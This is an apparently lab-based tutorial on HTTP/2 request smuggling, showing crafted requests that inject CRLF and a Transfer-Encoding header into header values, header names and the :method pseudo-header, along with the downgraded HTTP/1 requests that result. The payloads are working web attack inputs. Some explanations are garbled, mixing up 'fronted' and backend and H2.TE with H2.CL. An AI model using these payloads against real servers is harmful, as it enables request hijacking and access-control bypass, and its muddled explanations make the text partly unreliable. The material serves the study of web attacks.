## H2 Injection via Headers

This injection is dangerous as it happens when a product that supports HTTP/2 protocol fails to reject request that include forbidden chars as (CLRF tags, :) into header names resulting in a downgrade to HTTP/1 request smugglings.

The main reason is that those chars are used to delimit a Header and injecting them we are tampering the flow by injecting our malicious code.

### Header Value Injection

Let’s look at this code that is sent to a frontend that fails to reject denied chars injected into Header names:

:method POST

:path /

:authority http2.htb

:scheme http

dummy asd\r\nTransfer-Encoding: chunked

0

GET /smuggled HTTP/1.1

Host: http2.htb

The dummy header with CRLF tags have no impact on HTTP/2 protocol but it will have when the request will be downgraded poorly to HTTP/1 and passed to the backend like so:

POST / HTTP/1.1

Host: http2.htb

Dummy: asd

Transfer-Encoding: chunked

Content-Length: 48

0

GET /smuggled HTTP/1.1

Host: http2.htb

As you see the revised HTTP/1 request will parse the CRLF tags and append the chunked mode, the fronted will append the CL as well but since the TE have precedence the backend will get 2 different requests (one will be a NULL request and the other will be the smuggled one).

### Header Name Injection

This injection is like the one before except for the forbidden tags will be injected into the Header Names and not Header Values.

Let’s look at this example:

:method POST

:path /

:authority http2.htb

:scheme http

dummy: asd\r\nTransfer-Encoding chunked

0

GET /smuggled HTTP/1.1

Host: http2.htb

In this case if the fronted fails at validating the header names it will perform the same type of desync attack H2.TE. Resulting as the following request sent to the backend:

POST / HTTP/1.1

Host: http2.htb

Dummy: asd

Transfer-Encoding: chunked

Content-Length: 48

0

GET /smuggled HTTP/1.1

Host: http2.htb

Same here the fronted will get first the null request then the smuggled one. The fronted will automatically add the CL but since the TE (chunked) comes first that have precedence.

### Request Line Injections

This type of H2 injection happens when the frontend (reverse proxy) that naturally support HTTP/2 request fails at rejecting request that have special forbidden chars injected into request lines like Method. Those are called “pseudo headers”.

Let’s look at this request:

:method POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nDummy: asd

:path /

:authority http2.htb

:scheme http

0

GET /smuggled HTTP/1.1

Host: http2.htb

If the fronted is vulnerable it will wrongly convert the request to a following HTTP/1 and threat those CRLF tags to inject a new header TE header and will be sent to the backend as follows:

POST / HTTP/1.1

Transfer-Encoding: chunked

Dummy: asd / HTTP/1.1

Host: http2.htb

Content-Length: 48

0

GET /smuggled HTTP/1.1

Host: http2.htb

The fronted will consequently see this as 2 separate request the first will be the null request and second will be the smuggled one! Same story here the H2.CL will be executed as the TE header comes before the CL thus have precedence!